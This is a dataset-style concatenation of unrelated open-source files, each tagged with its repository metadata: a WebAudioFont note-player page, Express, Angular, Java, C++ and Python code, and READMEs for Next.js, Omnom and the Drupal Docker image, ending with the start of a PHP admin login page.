MIDI: 41. Viola: Strings</p>
<p><a href='javascript:player.cancelQueue(audioContext);'>stop</a></p>
<p>chords:
<a href='javascript:startWaveTableNow(4+12*4+0); startWaveTableNow(9+12*4+0); startWaveTableNow(2+12*5+2); startWaveTableNow(7+12*5+2); startWaveTableNow(11+12*5+1); startWaveTableNow(4+12*6+0);'>Am</a>
| <a href='javascript:startWaveTableNow(4+12*4+0); startWaveTableNow(9+12*4+3); startWaveTableNow(2+12*5+2); startWaveTableNow(7+12*5+0); startWaveTableNow(11+12*5+1); startWaveTableNow(4+12*6+0);'>C</a>
| <a href='javascript:startWaveTableNow(4+12*4+0); startWaveTableNow(9+12*4+2); startWaveTableNow(2+12*5+2); startWaveTableNow(7+12*5+1); startWaveTableNow(11+12*5+0); startWaveTableNow(4+12*6+0);'>E</a>
| <a href='javascript:startWaveTableNow(4+12*4+3); startWaveTableNow(9+12*4+2); startWaveTableNow(2+12*5+0); startWaveTableNow(7+12*5+0); startWaveTableNow(11+12*5+0); startWaveTableNow(4+12*6+3);'>G</a>
</p>
<p>1.
<a href='javascript:startWaveTableNow(0+12*1);'>C</a>
<a href='javascript:startWaveTableNow(1+12*1);'>C#</a>
<a href='javascript:startWaveTableNow(2+12*1);'>D</a>
<a href='javascript:startWaveTableNow(3+12*1);'>D#</a>
<a href='javascript:startWaveTableNow(4+12*1);'>E</a>
<a href='javascript:startWaveTableNow(5+12*1);'>F</a>
<a href='javascript:startWaveTableNow(6+12*1);'>F#</a>
<a href='javascript:startWaveTableNow(7+12*1);'>G</a>
<a href='javascript:startWaveTableNow(8+12*1);'>G#</a>
<a href='javascript:startWaveTableNow(9+12*1);'>A</a>
<a href='javascript:startWaveTableNow(10+12*1);'>A#</a>
<a href='javascript:startWaveTableNow(11+12*1);'>B</a>
</p>
<p>2.
<a href='javascript:startWaveTableNow(0+12*2);'>C</a>
<a href='javascript:startWaveTableNow(1+12*2);'>C#</a>
<a href='javascript:startWaveTableNow(2+12*2);'>D</a>
<a href='javascript:startWaveTableNow(3+12*2);'>D#</a>
<a href='javascript:startWaveTableNow(4+12*2);'>E</a>
<a href='javascript:startWaveTableNow(5+12*2);'>F</a>
<a href='javascript:startWaveTableNow(6+12*2);'>F#</a>
<a href='javascript:startWaveTableNow(7+12*2);'>G</a>
<a href='javascript:startWaveTableNow(8+12*2);'>G#</a>
<a href='javascript:startWaveTableNow(9+12*2);'>A</a>
<a href='javascript:startWaveTableNow(10+12*2);'>A#</a>
<a href='javascript:startWaveTableNow(11+12*2);'>B</a>
</p>
<p>3.
<a href='javascript:startWaveTableNow(0+12*3);'>C</a>
<a href='javascript:startWaveTableNow(1+12*3);'>C#</a>
<a href='javascript:startWaveTableNow(2+12*3);'>D</a>
<a href='javascript:startWaveTableNow(3+12*3);'>D#</a>
<a href='javascript:startWaveTableNow(4+12*3);'>E</a>
<a href='javascript:startWaveTableNow(5+12*3);'>F</a>
<a href='javascript:startWaveTableNow(6+12*3);'>F#</a>
<a href='javascript:startWaveTableNow(7+12*3);'>G</a>
<a href='javascript:startWaveTableNow(8+12*3);'>G#</a>
<a href='javascript:startWaveTableNow(9+12*3);'>A</a>
<a href='javascript:startWaveTableNow(10+12*3);'>A#</a>
<a href='javascript:startWaveTableNow(11+12*3);'>B</a>
</p>
<p>4.
<a href='javascript:startWaveTableNow(0+12*4);'>C</a>
<a href='javascript:startWaveTableNow(1+12*4);'>C#</a>
<a href='javascript:startWaveTableNow(2+12*4);'>D</a>
<a href='javascript:startWaveTableNow(3+12*4);'>D#</a>
<a href='javascript:startWaveTableNow(4+12*4);'>E</a>
<a href='javascript:startWaveTableNow(5+12*4);'>F</a>
<a href='javascript:startWaveTableNow(6+12*4);'>F#</a>
<a href='javascript:startWaveTableNow(7+12*4);'>G</a>
<a href='javascript:startWaveTableNow(8+12*4);'>G#</a>
<a href='javascript:startWaveTableNow(9+12*4);'>A</a>
<a href='javascript:startWaveTableNow(10+12*4);'>A#</a>
<a href='javascript:startWaveTableNow(11+12*4);'>B</a>
</p>
<p>5.
<a href='javascript:startWaveTableNow(0+12*5);'>C</a>
<a href='javascript:startWaveTableNow(1+12*5);'>C#</a>
<a href='javascript:startWaveTableNow(2+12*5);'>D</a>
<a href='javascript:startWaveTableNow(3+12*5);'>D#</a>
<a href='javascript:startWaveTableNow(4+12*5);'>E</a>
<a href='javascript:startWaveTableNow(5+12*5);'>F</a>
<a href='javascript:startWaveTableNow(6+12*5);'>F#</a>
<a href='javascript:startWaveTableNow(7+12*5);'>G</a>
<a href='javascript:startWaveTableNow(8+12*5);'>G#</a>
<a href='javascript:startWaveTableNow(9+12*5);'>A</a>
<a href='javascript:startWaveTableNow(10+12*5);'>A#</a>
<a href='javascript:startWaveTableNow(11+12*5);'>B</a>
</p>
<p>6.
<a href='javascript:startWaveTableNow(0+12*6);'>C</a>
<a href='javascript:startWaveTableNow(1+12*6);'>C#</a>
<a href='javascript:startWaveTableNow(2+12*6);'>D</a>
<a href='javascript:startWaveTableNow(3+12*6);'>D#</a>
<a href='javascript:startWaveTableNow(4+12*6);'>E</a>
<a href='javascript:startWaveTableNow(5+12*6);'>F</a>
<a href='javascript:startWaveTableNow(6+12*6);'>F#</a>
<a href='javascript:startWaveTableNow(7+12*6);'>G</a>
<a href='javascript:startWaveTableNow(8+12*6);'>G#</a>
<a href='javascript:startWaveTableNow(9+12*6);'>A</a>
<a href='javascript:startWaveTableNow(10+12*6);'>A#</a>
<a href='javascript:startWaveTableNow(11+12*6);'>B</a>
</p>
<p>7.
<a href='javascript:startWaveTableNow(0+12*7);'>C</a>
<a href='javascript:startWaveTableNow(1+12*7);'>C#</a>
<a href='javascript:startWaveTableNow(2+12*7);'>D</a>
<a href='javascript:startWaveTableNow(3+12*7);'>D#</a>
<a href='javascript:startWaveTableNow(4+12*7);'>E</a>
<a href='javascript:startWaveTableNow(5+12*7);'>F</a>
<a href='javascript:startWaveTableNow(6+12*7);'>F#</a>
<a href='javascript:startWaveTableNow(7+12*7);'>G</a>
<a href='javascript:startWaveTableNow(8+12*7);'>G#</a>
<a href='javascript:startWaveTableNow(9+12*7);'>A</a>
<a href='javascript:startWaveTableNow(10+12*7);'>A#</a>
<a href='javascript:startWaveTableNow(11+12*7);'>B</a>
</p>
<p>8.
<a href='javascript:startWaveTableNow(0+12*8);'>C</a>
<a href='javascript:startWaveTableNow(1+12*8);'>C#</a>
<a href='javascript:startWaveTableNow(2+12*8);'>D</a>
<a href='javascript:startWaveTableNow(3+12*8);'>D#</a>
<a href='javascript:startWaveTableNow(4+12*8);'>E</a>
<a href='javascript:startWaveTableNow(5+12*8);'>F</a>
<a href='javascript:startWaveTableNow(6+12*8);'>F#</a>
<a href='javascript:startWaveTableNow(7+12*8);'>G</a>
<a href='javascript:startWaveTableNow(8+12*8);'>G#</a>
<a href='javascript:startWaveTableNow(9+12*8);'>A</a>
<a href='javascript:startWaveTableNow(10+12*8);'>A#</a>
<a href='javascript:startWaveTableNow(11+12*8);'>B</a>
</p>
</body>
</html>
| surikov/webaudiofontdata | sound/0410_Aspirin_sf2_file.html | HTML | mit | 7,832 |
'use strict';
var page = 'projects';
module.exports = {
renderPage: function(req, res) {
if (!req.user) {
res.redirect('/login');
} else {
res.render(page, {
helpers: {
activeClass: function(section) {
if (section === 'projects') {
return 'active';
} else {
return '';
}
}
},
user: req.user ? req.user.toJSON() : null
});
}
}
}
| bobholt/genealogists-friend | app/controllers/project.js | JavaScript | mit | 472 |
[](https://deploy.now.sh/?repo=https://github.com/zeit/next.js/tree/master/examples/with-jsx)
# JSX Next.js example
This is a really simple project that show the usage of Next.js with JSX.
## How to use it?
```
npm install # to install dependencies
npm run dev # to run next.js
``` | nelak/next.js | examples/with-jsx/README.md | Markdown | mit | 349 |
Search = function(data, input, result) {
this.data = data;
this.$input = $(input);
this.$result = $(result);
this.$current = null;
this.$view = this.$result.parent();
this.searcher = new Searcher(data.index);
this.init();
};
Search.prototype = $.extend({}, Navigation, new function() {
var suid = 1;
this.init = function() {
var _this = this;
var observer = function(e) {
switch(e.originalEvent.keyCode) {
case 38: // Event.KEY_UP
case 40: // Event.KEY_DOWN
return;
}
_this.search(_this.$input[0].value);
};
this.$input.keyup(observer);
this.$input.click(observer); // mac's clear field
this.searcher.ready(function(results, isLast) {
_this.addResults(results, isLast);
});
this.initNavigation();
this.setNavigationActive(false);
};
this.search = function(value, selectFirstMatch) {
value = jQuery.trim(value).toLowerCase();
if (value) {
this.setNavigationActive(true);
} else {
this.setNavigationActive(false);
}
if (value == '') {
this.lastQuery = value;
this.$result.empty();
this.$result.attr('aria-expanded', 'false');
this.setNavigationActive(false);
} else if (value != this.lastQuery) {
this.lastQuery = value;
this.$result.attr('aria-busy', 'true');
this.$result.attr('aria-expanded', 'true');
this.firstRun = true;
this.searcher.find(value);
}
};
this.addResults = function(results, isLast) {
var target = this.$result.get(0);
if (this.firstRun && (results.length > 0 || isLast)) {
this.$current = null;
this.$result.empty();
}
for (var i=0, l = results.length; i < l; i++) {
var item = this.renderItem.call(this, results[i]);
item.setAttribute('id', 'search-result-' + target.childElementCount);
target.appendChild(item);
}
if (this.firstRun && results.length > 0) {
this.firstRun = false;
this.$current = $(target.firstChild);
this.$current.addClass('search-selected');
}
if (jQuery.browser.msie) this.$element[0].className += '';
if (isLast) this.$result.attr('aria-busy', 'false');
};
this.move = function(isDown) {
if (!this.$current) return;
var $next = this.$current[isDown ? 'next' : 'prev']();
if ($next.length) {
this.$current.removeClass('search-selected');
$next.addClass('search-selected');
this.$input.attr('aria-activedescendant', $next.attr('id'));
this.scrollIntoView($next[0], this.$view[0]);
this.$current = $next;
this.$input.val($next[0].firstChild.firstChild.text);
this.$input.select();
}
return true;
};
this.hlt = function(html) {
return this.escapeHTML(html).
replace(/\u0001/g, '<em>').
replace(/\u0002/g, '</em>');
};
this.escapeHTML = function(html) {
return html.replace(/[&<>]/g, function(c) {
return '&#' + c.charCodeAt(0) + ';';
});
}
});
| gadzorg/gorg_mail | doc/app/js/search.js | JavaScript | mit | 2,999 |
version https://git-lfs.github.com/spec/v1
oid sha256:505b4ccd47ed9526d0238c6f2d03a343ce476abc1c4aa79a9f22cabcbd0a3c16
size 12575
| yogeshsaroya/new-cdnjs | ajax/libs/require.js/0.22.0/require.min.js | JavaScript | mit | 130 |
#include "ConfirmationMenu.h"
ConfirmationMenu::ConfirmationMenu(CarrotQt5* mainClass, std::function<void(bool)> callback, const QString& text, const QString& yesLabel, const QString& noLabel)
: MenuScreen(mainClass), text(text) {
menuOptions.append(buildMenuItem([this, callback]() {
root->popState();
callback(true);
}, yesLabel));
menuOptions.append(buildMenuItem([this, callback]() {
root->popState();
callback(false);
}, noLabel));
cancelItem = buildMenuItem([this, callback]() {
root->popState();
callback(false);
}, noLabel);
setMenuItemSelected(0);
}
ConfirmationMenu::~ConfirmationMenu() {
}
void ConfirmationMenu::renderTick(bool, bool) {
auto canvas = root->getCanvas();
uint viewWidth = canvas->getView().getSize().x;
uint viewHeight = canvas->getView().getSize().y;
BitmapString::drawString(canvas, root->getFont(), text, viewWidth / 2, viewHeight / 2 - 50, FONT_ALIGN_CENTER);
menuOptions[0]->text->drawString(canvas, viewWidth / 2 - 100, viewHeight / 2 + 50);
menuOptions[1]->text->drawString(canvas, viewWidth / 2 + 100, viewHeight / 2 + 50);
}
void ConfirmationMenu::processControlDownEvent(const ControlEvent& e) {
MenuScreen::processControlDownEvent(e);
switch (e.first.keyboardKey) {
case Qt::Key_Left:
setMenuItemSelected(-1, true);
break;
case Qt::Key_Right:
setMenuItemSelected(1, true);
break;
}
}
| soulweaver91/project-carrot | src/menu/ConfirmationMenu.cpp | C++ | mit | 1,509 |
'use strict';
//Ghost service used for communicating with the ghost api
angular.module('ghost').factory('Ghost', ['$http', 'localStorageService',
function($http, localStorageService) {
return {
login: function() {
return $http.get('api/ghost/login').
success(function(data, status, headers, config) {
// this callback will be called asynchronously
// when the response is available
data.authenticator = 'simple-auth-authenticator:oauth2-password-grant';
data.expires_at = data.expires_in + Date.now();
localStorageService.set('ghost-cms:session',data);
}).
error(function(data, status, headers, config) {
// called asynchronously if an error occurs
// or server returns response with an error status.
console.log('ghost login failure');
});
}
};
}
]).factory('GhostPosts', ['$http',
function($http) {
return {
read: function(options) {
return $http.get('api/ghost/posts/slug/' + options.slug).
success(function(data, status, headers, config) {
//console.log(data);
return data;
});
},
query: function(options) {
return $http.get('api/ghost/posts/tag/' + options.tag).
success(function(data, status, headers, config) {
//console.log(data);
return data;
});
}
};
}
]);
| newcrossfoodcoop/nxfc | modules/ghost/client/services/ghost.client.service.js | JavaScript | mit | 1,804 |
from flask_webapi import status
from unittest import TestCase
class TestStatus(TestCase):
def test_is_informational(self):
self.assertFalse(status.is_informational(99))
self.assertFalse(status.is_informational(200))
for i in range(100, 199):
self.assertTrue(status.is_informational(i))
def test_is_success(self):
self.assertFalse(status.is_success(199))
self.assertFalse(status.is_success(300))
for i in range(200, 299):
self.assertTrue(status.is_success(i))
def test_is_redirect(self):
self.assertFalse(status.is_redirect(299))
self.assertFalse(status.is_redirect(400))
for i in range(300, 399):
self.assertTrue(status.is_redirect(i))
def test_is_client_error(self):
self.assertFalse(status.is_client_error(399))
self.assertFalse(status.is_client_error(500))
for i in range(400, 499):
self.assertTrue(status.is_client_error(i))
def test_is_server_error(self):
self.assertFalse(status.is_server_error(499))
self.assertFalse(status.is_server_error(600))
for i in range(500, 599):
self.assertTrue(status.is_server_error(i))
| viniciuschiele/flask-webapi | tests/test_status.py | Python | mit | 1,233 |
/*
* Copyright 2014 Google Inc. All rights reserved.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package uk.ac.nott.mrl.gles.program;
import android.opengl.GLES20;
import android.util.Log;
import com.android.grafika.gles.GlUtil;
import java.nio.ByteBuffer;
import java.nio.ByteOrder;
import java.nio.FloatBuffer;
public class GraphProgram
{
private static final int SIZEOF_FLOAT = 4;
private static final int VERTEX_STRIDE = SIZEOF_FLOAT * 2;
private static final String TAG = GlUtil.TAG;
private static final String VERTEX_SHADER =
"uniform mat4 uMVPMatrix;" +
"attribute vec4 aPosition;" +
"void main() {" +
" gl_Position = uMVPMatrix * aPosition;" +
"}";
private static final String FRAGMENT_SHADER =
"precision mediump float;" +
"uniform vec4 uColor;" +
"void main() {" +
" gl_FragColor = uColor;" +
"}";
private final int MAX_SIZE = 200;
// Handles to the GL program and various components of it.
private int programHandle = -1;
private int colorLocation = -1;
private int matrixLocation = -1;
private int positionLocation = -1;
private final float[] colour = {1f, 1f, 1f, 1f};
private final FloatBuffer points;
private final float[] values = new float[MAX_SIZE];
private int size = 0;
private int offset = 0;
private boolean bufferValid = false;
private float min = Float.MAX_VALUE;
private float max = Float.MIN_VALUE;
private static final float left = 1.8f;
private static final float right = 0.2f;
private static final float top = 0.8f;
private static final float bottom = -0.8f;
/**
* Prepares the program in the current EGL context.
*/
public GraphProgram()
{
programHandle = GlUtil.createProgram(VERTEX_SHADER, FRAGMENT_SHADER);
if (programHandle == 0)
{
throw new RuntimeException("Unable to create program");
}
Log.d(TAG, "Created program " + programHandle);
// get locations of attributes and uniforms
ByteBuffer bb = ByteBuffer.allocateDirect(MAX_SIZE * VERTEX_STRIDE);
bb.order(ByteOrder.nativeOrder());
points = bb.asFloatBuffer();
positionLocation = GLES20.glGetAttribLocation(programHandle, "aPosition");
GlUtil.checkLocation(positionLocation, "aPosition");
matrixLocation = GLES20.glGetUniformLocation(programHandle, "uMVPMatrix");
GlUtil.checkLocation(matrixLocation, "uMVPMatrix");
colorLocation = GLES20.glGetUniformLocation(programHandle, "uColor");
GlUtil.checkLocation(colorLocation, "uColor");
}
/**
* Releases the program.
*/
public void release()
{
GLES20.glDeleteProgram(programHandle);
programHandle = -1;
}
public synchronized void add(float value)
{
values[offset] = value;
min = Math.min(value, min);
max = Math.max(value, max);
size = Math.min(size + 1, MAX_SIZE);
offset = (offset + 1) % MAX_SIZE;
bufferValid = false;
}
public void setColour(final float r, final float g, final float b)
{
colour[0] = r;
colour[1] = g;
colour[2] = b;
}
private synchronized FloatBuffer getValidBuffer()
{
if (!bufferValid)
{
points.position(0);
for(int index = 0; index < size; index++)
{
float value = values[(offset + index) % size];
float scaledValue = ((value - min) / (max - min) * (top - bottom)) + bottom;
//Log.i(TAG, "x=" + ((index * (right - left) / size) + left) + ", y=" + scaledValue);
points.put((index * (right - left) / (size - 1)) + left);
points.put(scaledValue);
}
points.position(0);
bufferValid = true;
}
return points;
}
public void draw(float[] matrix)
{
GlUtil.checkGlError("draw start");
// Select the program.
GLES20.glUseProgram(programHandle);
GlUtil.checkGlError("glUseProgram");
// Copy the model / view / projection matrix over.
GLES20.glUniformMatrix4fv(matrixLocation, 1, false, matrix, 0);
GlUtil.checkGlError("glUniformMatrix4fv");
// Copy the color vector in.
GLES20.glUniform4fv(colorLocation, 1, colour, 0);
GlUtil.checkGlError("glUniform4fv ");
// Enable the "aPosition" vertex attribute.
GLES20.glEnableVertexAttribArray(positionLocation);
GlUtil.checkGlError("glEnableVertexAttribArray");
// Connect vertexBuffer to "aPosition".
GLES20.glVertexAttribPointer(positionLocation, 2,
GLES20.GL_FLOAT, false, VERTEX_STRIDE, getValidBuffer());
GlUtil.checkGlError("glVertexAttribPointer");
// Draw the rect.
GLES20.glDrawArrays(GLES20.GL_LINE_STRIP, 0, size);
GlUtil.checkGlError("glDrawArrays");
// Done -- disable vertex array and program.
GLES20.glDisableVertexAttribArray(positionLocation);
GLES20.glUseProgram(0);
}
}
| ktg/openFood | src/main/java/uk/ac/nott/mrl/gles/program/GraphProgram.java | Java | mit | 5,077 |
# nazdrave
Като Untappd ама за ракия
| bgstartupidei/nazdrave | README.md | Markdown | mit | 51 |
Omnom App
=========
This is the example app for Omnom. See [Omnom](https://github.com/tombenner/omnom) for details.
License
-------
Omnom App is released under the MIT License. Please see the MIT-LICENSE file for details.
| tombenner/omnom-app | README.md | Markdown | mit | 225 |
package org.sfm.tuples;
public class Tuple20<T1, T2, T3, T4, T5, T6, T7, T8, T9, T10, T11, T12, T13, T14, T15, T16, T17, T18, T19, T20> extends Tuple19<T1, T2, T3, T4, T5, T6, T7, T8, T9, T10, T11, T12, T13, T14, T15, T16, T17, T18, T19> {
private final T20 element19;
public Tuple20(T1 element0, T2 element1, T3 element2, T4 element3, T5 element4, T6 element5, T7 element6, T8 element7, T9 element8, T10 element9, T11 element10, T12 element11, T13 element12, T14 element13, T15 element14, T16 element15, T17 element16, T18 element17, T19 element18, T20 element19) {
super(element0, element1, element2, element3, element4, element5, element6, element7, element8, element9, element10, element11, element12, element13, element14, element15, element16, element17, element18);
this.element19 = element19;
}
public final T20 getElement19() {
return element19;
}
@Override
public boolean equals(Object o) {
if (this == o) return true;
if (o == null || getClass() != o.getClass()) return false;
if (!super.equals(o)) return false;
Tuple20 tuple20 = (Tuple20) o;
if (element19 != null ? !element19.equals(tuple20.element19) : tuple20.element19 != null) return false;
return true;
}
@Override
public int hashCode() {
int result = super.hashCode();
result = 31 * result + (element19 != null ? element19.hashCode() : 0);
return result;
}
@Override
public String toString() {
return "Tuple20{" +
"element0=" + getElement0() +
", element1=" + getElement1() +
", element2=" + getElement2() +
", element3=" + getElement3() +
", element4=" + getElement4() +
", element5=" + getElement5() +
", element6=" + getElement6() +
", element7=" + getElement7() +
", element8=" + getElement8() +
", element9=" + getElement9() +
", element10=" + getElement10() +
", element11=" + getElement11() +
", element12=" + getElement12() +
", element13=" + getElement13() +
", element14=" + getElement14() +
", element15=" + getElement15() +
", element16=" + getElement16() +
", element17=" + getElement17() +
", element18=" + getElement18() +
", element19=" + getElement19() +
'}';
}
public <T21> Tuple21<T1, T2, T3, T4, T5, T6, T7, T8, T9, T10, T11, T12, T13, T14, T15, T16, T17, T18, T19, T20, T21> tuple21(T21 element20) {
return new Tuple21<T1, T2, T3, T4, T5, T6, T7, T8, T9, T10, T11, T12, T13, T14, T15, T16, T17, T18, T19, T20, T21>(getElement0(), getElement1(), getElement2(), getElement3(), getElement4(), getElement5(), getElement6(), getElement7(), getElement8(), getElement9(), getElement10(), getElement11(), getElement12(), getElement13(), getElement14(), getElement15(), getElement16(), getElement17(), getElement18(), getElement19(), element20);
}
}
| tsdl2013/SimpleFlatMapper | sfm/src/main/java/org/sfm/tuples/Tuple20.java | Java | mit | 3,155 |
# Supported tags and respective `Dockerfile` links
- [`8.3.0-alpha1-apache`, `8.3-rc-apache`, `rc-apache`, `8.3.0-alpha1`, `8.3-rc`, `rc` (*8.3-rc/apache/Dockerfile*)](https://github.com/docker-library/drupal/blob/a5a6b1294bd3a987d6410887ba895e5649dc163c/8.3-rc/apache/Dockerfile)
- [`8.3.0-alpha1-fpm`, `8.3-rc-fpm`, `rc-fpm` (*8.3-rc/fpm/Dockerfile*)](https://github.com/docker-library/drupal/blob/a5a6b1294bd3a987d6410887ba895e5649dc163c/8.3-rc/fpm/Dockerfile)
- [`8.2.6-apache`, `8.2-apache`, `8-apache`, `apache`, `8.2.6`, `8.2`, `8`, `latest` (*8.2/apache/Dockerfile*)](https://github.com/docker-library/drupal/blob/1ad01e8c9b0b34d8525e277dc6b4a6aaaddf020f/8.2/apache/Dockerfile)
- [`8.2.6-fpm`, `8.2-fpm`, `8-fpm`, `fpm` (*8.2/fpm/Dockerfile*)](https://github.com/docker-library/drupal/blob/1ad01e8c9b0b34d8525e277dc6b4a6aaaddf020f/8.2/fpm/Dockerfile)
- [`7.54-apache`, `7-apache`, `7.54`, `7` (*7/apache/Dockerfile*)](https://github.com/docker-library/drupal/blob/aac79bfa92b93b484bd1d459adef02789ac2e011/7/apache/Dockerfile)
- [`7.54-fpm`, `7-fpm` (*7/fpm/Dockerfile*)](https://github.com/docker-library/drupal/blob/aac79bfa92b93b484bd1d459adef02789ac2e011/7/fpm/Dockerfile)
For more information about this image and its history, please see [the relevant manifest file (`library/drupal`)](https://github.com/docker-library/official-images/blob/master/library/drupal). This image is updated via [pull requests to the `docker-library/official-images` GitHub repo](https://github.com/docker-library/official-images/pulls?q=label%3Alibrary%2Fdrupal).
For detailed information about the virtual/transfer sizes and individual layers of each of the above supported tags, please see [the `repos/drupal/tag-details.md` file](https://github.com/docker-library/repo-info/blob/master/repos/drupal/tag-details.md) in [the `docker-library/repo-info` GitHub repo](https://github.com/docker-library/repo-info).
# What is Drupal?
Drupal is a free and open-source content-management framework written in PHP and distributed under the GNU General Public License. It is used as a back-end framework for at least 2.1% of all Web sites worldwide ranging from personal blogs to corporate, political, and government sites including WhiteHouse.gov and data.gov.uk. It is also used for knowledge management and business collaboration.
> [wikipedia.org/wiki/Drupal](https://en.wikipedia.org/wiki/Drupal)

# How to use this image
The basic pattern for starting a `drupal` instance is:
```console
$ docker run --name some-drupal -d drupal
```
If you'd like to be able to access the instance from the host without the container's IP, standard port mappings can be used:
```console
$ docker run --name some-drupal -p 8080:80 -d drupal
```
Then, access it via `http://localhost:8080` or `http://host-ip:8080` in a browser.
There are multiple database types supported by this image, most easily used via standard container linking. In the default configuration, SQLite can be used to avoid a second container and write to flat-files. More detailed instructions for different (more production-ready) database types follow.
When first accessing the webserver provided by this image, it will go through a brief setup process. The details provided below are specifically for the "Set up database" step of that configuration process.
## MySQL
```console
$ docker run --name some-drupal --link some-mysql:mysql -d drupal
```
- Database type: `MySQL, MariaDB, or equivalent`
- Database name/username/password: `<details for accessing your MySQL instance>` (`MYSQL_USER`, `MYSQL_PASSWORD`, `MYSQL_DATABASE`; see environment variables in the description for [`mysql`](https://registry.hub.docker.com/_/mysql/))
- ADVANCED OPTIONS; Database host: `mysql` (for using the `/etc/hosts` entry added by `--link` to access the linked container's MySQL instance)
## PostgreSQL
```console
$ docker run --name some-drupal --link some-postgres:postgres -d drupal
```
- Database type: `PostgreSQL`
- Database name/username/password: `<details for accessing your PostgreSQL instance>` (`POSTGRES_USER`, `POSTGRES_PASSWORD`; see environment variables in the description for [`postgres`](https://registry.hub.docker.com/_/postgres/))
- ADVANCED OPTIONS; Database host: `postgres` (for using the `/etc/hosts` entry added by `--link` to access the linked container's PostgreSQL instance)
## Volumes
By default, this image does not include any volumes. There is a lot of good discussion on this topic in [docker-library/drupal#3](https://github.com/docker-library/drupal/issues/3), which is definitely recommended reading.
There is consensus that `/var/www/html/modules`, `/var/www/html/profiles`, and `/var/www/html/themes` are things that generally ought to be volumes (and might have an explicit `VOLUME` declaration in a future update to this image), but handling of `/var/www/html/sites` is somewhat more complex, since the contents of that directory *do* need to be initialized with the contents from the image.
If using bind-mounts, one way to accomplish pre-seeding your local `sites` directory would be something like the following:
```console
$ docker run --rm drupal tar -cC /var/www/html/sites . | tar -xC /path/on/host/sites
```
This can then be bind-mounted into a new container:
```console
$ docker run --name some-drupal --link some-postgres:postgres -d \
-v /path/on/host/modules:/var/www/html/modules \
-v /path/on/host/profiles:/var/www/html/profiles \
-v /path/on/host/sites:/var/www/html/sites \
-v /path/on/host/themes:/var/www/html/themes \
drupal
```
Another solution using Docker Volumes:
```console
$ docker volume create drupal-sites
$ docker run --rm -v drupal-sites:/temporary/sites drupal cp -aRT /var/www/html/sites /temporary/sites
$ docker run --name some-drupal --link some-postgres:postgres -d \
-v drupal-modules:/var/www/html/modules \
-v drupal-profiles:/var/www/html/profiles \
-v drupal-sites:/var/www/html/sites \
-v drupal-themes:/var/www/html/themes \
```
## ... via [`docker-compose`](https://github.com/docker/compose)
Example `docker-compose.yml` for `drupal`:
```yaml
# Drupal with PostgreSQL
#
# Access via "http://localhost:8080"
# (or "http://$(docker-machine ip):8080" if using docker-machine)
#
# During initial Drupal setup,
# Database type: PostgreSQL
# Database name: postgres
# Database username: postgres
# Database password: example
# ADVANCED OPTIONS; Database host: postgres
version: '2'
services:
drupal:
image: drupal:8.2-apache
ports:
- 8080:80
volumes:
- /var/www/html/modules
- /var/www/html/profiles
- /var/www/html/themes
# this takes advantage of the feature in Docker that a new anonymous
# volume (which is what we're creating here) will be initialized with the
# existing content of the image at the same location
- /var/www/html/sites
restart: always
postgres:
image: postgres:9.6
environment:
POSTGRES_PASSWORD: example
restart: always
```
## Adding additional libraries / extensions
This image does not provide any additional PHP extensions or other libraries, even if they are required by popular plugins. There are an infinite number of possible plugins, and they potentially require any extension PHP supports. Including every PHP extension that exists would dramatically increase the image size.
If you need additional PHP extensions, you'll need to create your own image `FROM` this one. The [documentation of the `php` image](https://github.com/docker-library/docs/blob/master/php/README.md#how-to-install-more-php-extensions) explains how to compile additional extensions. Additionally, the [`drupal:7` Dockerfile](https://github.com/docker-library/drupal/blob/bee08efba505b740a14d68254d6e51af7ab2f3ea/7/Dockerfile#L6-9) has an example of doing this.
The following Docker Hub features can help with the task of keeping your dependent images up-to-date:
- [Automated Builds](https://docs.docker.com/docker-hub/builds/) let Docker Hub automatically build your Dockerfile each time you push changes to it.
- [Repository Links](https://docs.docker.com/docker-hub/builds/#repository-links) can ensure that your image is also rebuilt any time `drupal` is updated.
# License
View [license information](https://www.drupal.org/licensing/faq) for the software contained in this image.
# Supported Docker versions
This image is officially supported on Docker version 1.13.1.
Support for older versions (down to 1.6) is provided on a best-effort basis.
Please see [the Docker installation documentation](https://docs.docker.com/installation/) for details on how to upgrade your Docker daemon.
# User Feedback
## Issues
If you have any problems with or questions about this image, please contact us through a [GitHub issue](https://github.com/docker-library/drupal/issues). If the issue is related to a CVE, please check for [a `cve-tracker` issue on the `official-images` repository first](https://github.com/docker-library/official-images/issues?q=label%3Acve-tracker).
You can also reach many of the official image maintainers via the `#docker-library` IRC channel on [Freenode](https://freenode.net).
## Contributing
You are invited to contribute new features, fixes, or updates, large or small; we are always thrilled to receive pull requests, and do our best to process them as fast as we can.
Before you start to code, we recommend discussing your plans through a [GitHub issue](https://github.com/docker-library/drupal/issues), especially for more ambitious contributions. This gives other contributors a chance to point you in the right direction, give you feedback on your design, and help you find out if someone else is working on the same thing.
## Documentation
Documentation for this image is stored in the [`drupal/` directory](https://github.com/docker-library/docs/tree/master/drupal) of the [`docker-library/docs` GitHub repo](https://github.com/docker-library/docs). Be sure to familiarize yourself with the [repository's `README.md` file](https://github.com/docker-library/docs/blob/master/README.md) before attempting a pull request.
| vmassol/docs | drupal/README.md | Markdown | mit | 10,246 |
<?php
$districts = array('Ampara', 'Anuradhapura', 'Badulla', 'Batticaloa', 'Colombo', 'Galle', 'Gampaha', 'Hambantota', 'Jaffna', 'Kaluthara', 'Kandy', 'Kilinochchi', 'Kegalle', 'Mannar', 'Matale', 'Matara', 'Monaragala', 'Mulattivu', 'Nuwaraeliya', 'Polonnaruwa', 'Rathnapura', 'Trincomalee', 'Vavuniya');
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<title>AdminLTE 2 | Log in</title>
<!-- Tell the browser to be responsive to screen width -->
<meta content="width=device-width, initial-scale=1, maximum-scale=1, user-scalable=no" name="viewport">
<!-- Bootstrap 3.3.5 -->
<link rel="stylesheet" href="../bootstrap/css/bootstrap.min.css">
<link rel="stylesheet" href="../plugins/select2/select2.min.css">
<!-- Font Awesome -->
<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/font-awesome/4.4.0/css/font-awesome.min.css">
<!-- Ionicons -->
<link rel="stylesheet" href="https://code.ionicframework.com/ionicons/2.0.1/css/ionicons.min.css">
<!-- Theme style -->
<link rel="stylesheet" href="../dist/css/AdminLTE.min.css">
